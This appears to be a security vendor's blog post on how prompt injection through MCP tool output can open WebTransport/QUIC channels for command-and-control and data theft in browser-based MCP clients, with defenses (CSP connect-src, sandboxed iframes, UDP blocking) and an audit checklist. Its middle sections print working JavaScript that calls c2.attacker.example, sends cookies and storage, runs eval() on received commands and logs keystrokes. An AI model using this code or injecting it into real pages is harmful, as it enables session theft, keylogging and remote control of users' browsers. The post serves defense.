Security Deep Dive · WebTransport · QUIC · Bidirectional Streams · C2 Channels · MCP Servers

MCP Server WebTransport API Deep Dive: QUIC bidirectional streams, CORS bypass patterns, and C2 command channels

WebTransport opens QUIC connections from browser JavaScript directly to server endpoints, bypassing the HTTP/1.1 and HTTP/2 transport layer where most network security controls live. When MCP tool output injects a new WebTransport(url) call, the attacker gets a persistent, multiplexed connection with parallel bidirectional streams — one for receiving commands, one for exfiltrating data — all over a single UDP connection that HTTP proxies and standard traffic inspection cannot inspect or block without dedicated QUIC filtering.

Published 2026-06-25 · 10 min read

What WebTransport is and why it differs from WebSocket

WebTransport is a W3C specification that gives browser JavaScript access to QUIC (Quick UDP Internet Connections) transport — the same protocol underlying HTTP/3. Unlike WebSocket, which upgrades an HTTP/1.1 connection to a persistent TCP tunnel, WebTransport establishes a native QUIC session over UDP. This distinction has profound security implications that existing network monitoring infrastructure is not designed to handle.

The core API is simple to call from JavaScript:

// Opens a QUIC connection to the WebTransport server
// Connection succeeds regardless of the origin that called it
// — the server decides whether to accept based on the Origin header it receives
const transport = new WebTransport('https://attacker.example:4433/collect');

await transport.ready;
// From here: bidirectional streams, unidirectional streams, unreliable datagrams

The critical difference from WebSocket and Fetch is in how connections are multiplexed. WebSocket is a single bidirectional channel over one TCP connection — send data one way, receive the other. WebTransport supports an arbitrary number of independent bidirectional streams (transport.createBidirectionalStream()) plus unidirectional streams in each direction, plus unreliable datagrams, all over the same QUIC connection. Each stream is independent: a slow stream in one direction does not block another stream. This is QUIC's no-head-of-line blocking property, and it makes WebTransport structurally different as an attack channel.

QUIC connection establishment and WebTransport's CORS model

Understanding WebTransport's CORS semantics is essential for evaluating MCP server risk. The browser does send an Origin header during WebTransport connection establishment — specifically in the HTTP/3 CONNECT request that bootstraps the WebTransport session. However, the semantics are fundamentally different from HTTP CORS:

In HTTP CORS (Fetch/XHR): the browser makes a preflight OPTIONS request, reads the server's Access-Control-Allow-Origin response header, and blocks the request if the origin doesn't match. The browser enforces the access control on behalf of the server.

In WebTransport: the browser sends the Origin header to the server as informational context. The server decides whether to accept or reject the connection. If the server accepts it — regardless of the origin — the browser establishes the QUIC session. There is no browser-side origin enforcement equivalent to HTTP CORS preflight. An attacker-controlled WebTransport server simply always accepts all origins.

The CORS model for WebTransport puts origin enforcement entirely on the server. An attacker's WebTransport endpoint configured to accept all origins will successfully complete a connection from any browser tab at any origin, including an MCP client tab at mcp-client.company.com. The browser does not block this connection because WebTransport has no browser-side origin gate equivalent to HTTP CORS preflight.

Certificate trust requirements do apply: the server must present a TLS certificate trusted by the browser's root store (or a developer-mode certificate hash set via serverCertificateHashes). An attacker's WebTransport C2 server uses a Let's Encrypt certificate — free and automatically issued. The certificate requirement provides no practical barrier to an attacker with a registered domain.

The C2 command channel: bidirectional streams in MCP context

The bidirectional stream model — create a stream, write to one end, read from the other — maps directly to a command-and-control protocol. An MCP tool output injection that calls new WebTransport() can establish the following pattern:

// Injected by MCP tool output — C2 channel via WebTransport bidirectional stream

async function openC2Channel() {
  const transport = new WebTransport('https://c2.attacker.example:4433/cmd');

  await transport.ready;

  // Stream 0: command reception + execution results
  const cmdStream = await transport.createBidirectionalStream();
  const writer = cmdStream.writable.getWriter();
  const reader = cmdStream.readable.getReader();

  // Stream 1: continuous data exfiltration (runs in parallel — no HOL blocking)
  const dataStream = await transport.createBidirectionalStream();
  const dataWriter = dataStream.writable.getWriter();

  // Identify this victim and send initial exfil payload
  const initial = {
    origin: location.origin,
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    userAgent: navigator.userAgent,
    timestamp: Date.now()
  };

  await dataWriter.write(new TextEncoder().encode(JSON.stringify(initial)));

  // Command execution loop — wait for commands, execute, send results
  while (true) {
    const { value, done } = await reader.read();
    if (done) break;

    const cmd = JSON.parse(new TextDecoder().decode(value));

    let result;
    try {
      // Execute arbitrary JavaScript commands received over the C2 stream
      // eval() is the simplest form — real C2 frameworks use more sophisticated dispatch
      result = { ok: true, output: String(eval(cmd.code)) };
    } catch (e) {
      result = { ok: false, error: e.message };
    }

    // Return command output to attacker over the same stream
    await writer.write(new TextEncoder().encode(JSON.stringify(result)));
  }
}

openC2Channel().catch(() => {
  // Connection failed — try again after 30 seconds
  setTimeout(openC2Channel, 30000);
});

Multiplexed streams mean the C2 and exfiltration channels are independent. Stream 0 carries command dispatch and results. Stream 1 carries continuous data exfiltration. QUIC handles both over the same UDP connection with no head-of-line blocking — a slow command response does not delay a large data transfer on the other stream, and vice versa. From the network perspective, there is one UDP flow to the attacker's server, not two separate TCP connections that would appear as multiple suspicious outbound streams.

Datagram vs stream exfiltration: the right primitive for each use case

WebTransport provides two data delivery modes with different reliability guarantees. Choosing the right mode for exfiltration depends on the data type and network conditions:

PrimitiveReliabilityOrderingCongestion controlBest for
transport.datagrams.writable Unreliable — may be dropped Unordered None (application controls rate) High-volume streaming telemetry where loss is tolerable: keystrokes, mouse events, DOM snapshots
createBidirectionalStream() Reliable — guaranteed delivery Per-stream ordered QUIC built-in Structured sensitive data where completeness matters: API keys, auth tokens, database query results, conversation history
Multiple concurrent streams Reliable per stream Per-stream ordered, across-stream unordered QUIC per-stream Simultaneous C2 + exfil + heartbeat — parallel channels without TCP head-of-line blocking

A real-world WebTransport exfiltration attack uses both primitives: a reliable bidirectional stream carries the high-value structured data (API keys, auth tokens, file contents from tool responses) where loss is unacceptable, and unreliable datagrams carry high-frequency behavioral telemetry (keystrokes, paste events, focus changes) where occasional loss is acceptable but speed and low overhead matter.

// Datagram exfiltration for high-frequency behavioral data
// No reliability overhead — pure speed for keyboard/mouse telemetry
const datagramWriter = transport.datagrams.writable.getWriter();

document.addEventListener('keydown', async (e) => {
  const payload = {
    t: Date.now(),
    k: e.key,
    target: e.target.name || e.target.id || e.target.tagName
  };
  // Single datagram per keystroke — no stream setup, no ACK, minimal latency
  await datagramWriter.write(new TextEncoder().encode(JSON.stringify(payload)));
});

// Reliable stream for structured high-value exfil — no loss tolerated
const reliableStream = await transport.createBidirectionalStream();
const reliableWriter = reliableStream.writable.getWriter();

// Called when a tool response containing sensitive data arrives
async function exfilToolResponse(toolOutput) {
  const blob = JSON.stringify({
    type: 'tool_response',
    timestamp: Date.now(),
    origin: location.href,
    data: toolOutput,
    cookies: document.cookie
  });
  // Reliable stream guarantees this arrives even under packet loss
  await reliableWriter.write(new TextEncoder().encode(blob));
}

Why WebTransport evades network monitoring

Enterprise network security stacks are built around HTTP/1.1 and HTTP/2 inspection: TLS inspection proxies, HTTP layer-7 firewalls, DLP systems that inspect Content-Type headers and response bodies. WebTransport over QUIC breaks these assumptions in three ways:

UDP bypass: QUIC runs over UDP port 443. Enterprise firewalls that allow HTTPS (TCP/443) outbound may also allow UDP/443 outbound for HTTP/3 compatibility. WebTransport traffic is indistinguishable from legitimate HTTP/3 traffic at the network layer — it uses the same port, the same TLS handshake pattern, and the same QUIC protocol version.

No proxy interception: TLS inspection proxies that terminate HTTP/1.1 and HTTP/2 connections for DLP scanning cannot inspect QUIC traffic unless they specifically implement QUIC-aware termination. Most enterprise TLS proxies in 2026 do not support QUIC interception. The WebTransport session is end-to-end encrypted between the browser and the attacker's server.

HTTP/3 ALPN fingerprint matches legitimate traffic: The QUIC ALPN (Application-Layer Protocol Negotiation) extension value for WebTransport is the same h3 value used by legitimate HTTP/3 servers. Network scanners that look for anomalous ALPN values will not flag a WebTransport connection to an attacker's HTTP/3-enabled QUIC server.

MCP deployments exposed to tool output injection and running in a browser environment should treat WebTransport as a critical exfiltration risk. A single prompt injection that reaches a browser-based MCP client can open a WebTransport connection that HTTP-layer network controls cannot inspect, intercept, or block without QUIC-specific firewall rules blocking all UDP/443 traffic (which would break HTTP/3 for legitimate sites).

Connection persistence and reconnection resilience

QUIC connections have different persistence characteristics than TCP connections. Several properties make WebTransport C2 channels more resilient than WebSocket-based alternatives:

Connection migration: QUIC supports connection migration — when the client's IP address changes (switching from WiFi to cellular, VPN reconnect), the QUIC connection can migrate to the new IP without reconnecting. A WebTransport C2 channel established on a WiFi network can survive a network switch. The connection ID is what identifies the session, not the IP tuple.

0-RTT reconnection: QUIC's 0-RTT mode allows a client that has previously connected to a server to resume a session in the first packet — no round-trip for handshake before sending data. An MCP tool output injection that uses 0-RTT WebTransport can exfiltrate data before the network layer sees a complete TLS handshake, which some intrusion detection systems use as the trigger to inspect a new connection.

Multiplexed stream recovery: If the QUIC connection drops, individual streams can be retried when the connection is restored, without needing to re-establish the application protocol state. The C2 implementation above shows a simple retry loop — in practice, a more sophisticated attacker would maintain session state in sessionStorage and restore command queue position on reconnect.

Detection and defense

Given that WebTransport bypasses HTTP-layer controls, the effective defenses must act either at the browser level or at a layer that can inspect QUIC.

1. Content Security Policy connect-src

CSP's connect-src directive controls which URLs JavaScript can connect to via fetch(), WebSocket, WebTransport, and Server-Sent Events. A strict connect-src 'self' policy blocks WebTransport connections to external attacker servers:

Content-Security-Policy: connect-src 'self';
# This blocks new WebTransport('https://attacker.example:4433/...') from executing

This is the primary and most reliable defense. WebTransport is covered by connect-src in all browser implementations — unlike some other APIs where CSP coverage is incomplete. An MCP server that serves its client with a strict connect-src 'self' header prevents WebTransport exfiltration even if tool output reaches the main document context.

2. Cross-origin isolated iframe for tool rendering

Rendering MCP tool output in a cross-origin sandboxed <iframe> (with a distinct registrable domain, not just a subdomain) isolates injected JavaScript to a context with no access to the application's cookies, localStorage, or auth tokens — the things worth stealing. A WebTransport C2 channel opened from that isolated context can only exfiltrate data visible in the iframe, not the parent application's session state:

<!-- Tool output rendered in a separate origin with no app data -->
<iframe
  src="https://tool-sandbox.skillaudit.dev/render"
  sandbox="allow-scripts"
  style="..."
></iframe>

3. QUIC/UDP-level network control

Enterprise environments that need defense in depth can block outbound UDP/443 traffic to all destinations except a whitelist of known-legitimate QUIC servers (CDNs, major services). This degrades HTTP/3 for those blocked destinations (browser falls back to HTTP/2) but prevents WebTransport to arbitrary attacker servers. This is a high-friction control that must be evaluated against the HTTP/3 performance benefits.

4. No Permissions-Policy control exists for WebTransport

Unlike APIs such as geolocation or the Camera API, there is no Permissions-Policy: webtransport=() directive in 2026. The connect-src CSP directive is the only browser-level control that can block WebTransport calls without disabling the API at the hardware level.

DefenseEffectivenessOperational cost
CSP connect-src 'self' High — blocks WebTransport to external origins Low — one header directive
Cross-origin tool sandbox (separate registrable domain) High — isolates injected JS from application data Medium — requires dedicated subdomain + frame messaging
Block UDP/443 at network perimeter High (for that network) — prevents QUIC entirely High — breaks HTTP/3, requires whitelist management
Permissions-Policy: webtransport=() Not available in 2026 N/A
Input sanitization (DOMPurify) Medium — blocks common injection vectors Low — add to tool output rendering pipeline

WebTransport in the MCP security audit checklist

When SkillAudit scans an MCP server for WebTransport risk, the scanner looks for three categories of finding:

Critical Tool output rendered same-origin in main document without CSP connect-src restriction. Any prompt injection delivers a complete WebTransport C2 channel. The injected JavaScript runs in the application origin and can connect to arbitrary WebTransport servers. Grade impact: −28.
High CSP present but connect-src allows 'unsafe-eval' or wildcard origins. connect-src: * or connect-src: https: still permits WebTransport to attacker domains. Grade impact: −18.
High Tool output rendered in sandboxed iframe but same registrable domain as parent. Same-site means document.domain can bridge the iframe — the isolation is weaker than a separate registrable domain. Grade impact: −16.
Medium No DOMPurify or equivalent sanitization on tool output before innerHTML assignment. Reduces the work to construct a WebTransport injection — attacker just needs to get <script> into a tool response. Grade impact: −12.
Low No outbound QUIC/UDP monitoring configured. WebTransport connections to novel external endpoints produce no alert. Grade impact: −6.

WebTransport security checklist for MCP server authors

Relationship to other browser API attack surfaces

WebTransport is the high-bandwidth, persistent channel in the MCP browser attack surface. For a complete picture, combine it with the other primitives covered in our browser API security series:

Audit your MCP server for WebTransport and QUIC exfiltration risks

SkillAudit checks for tool output isolation, CSP connect-src configuration, and injection vectors that enable WebTransport C2 channels — paste a GitHub URL and get a graded security report in 60 seconds.

Run a free audit →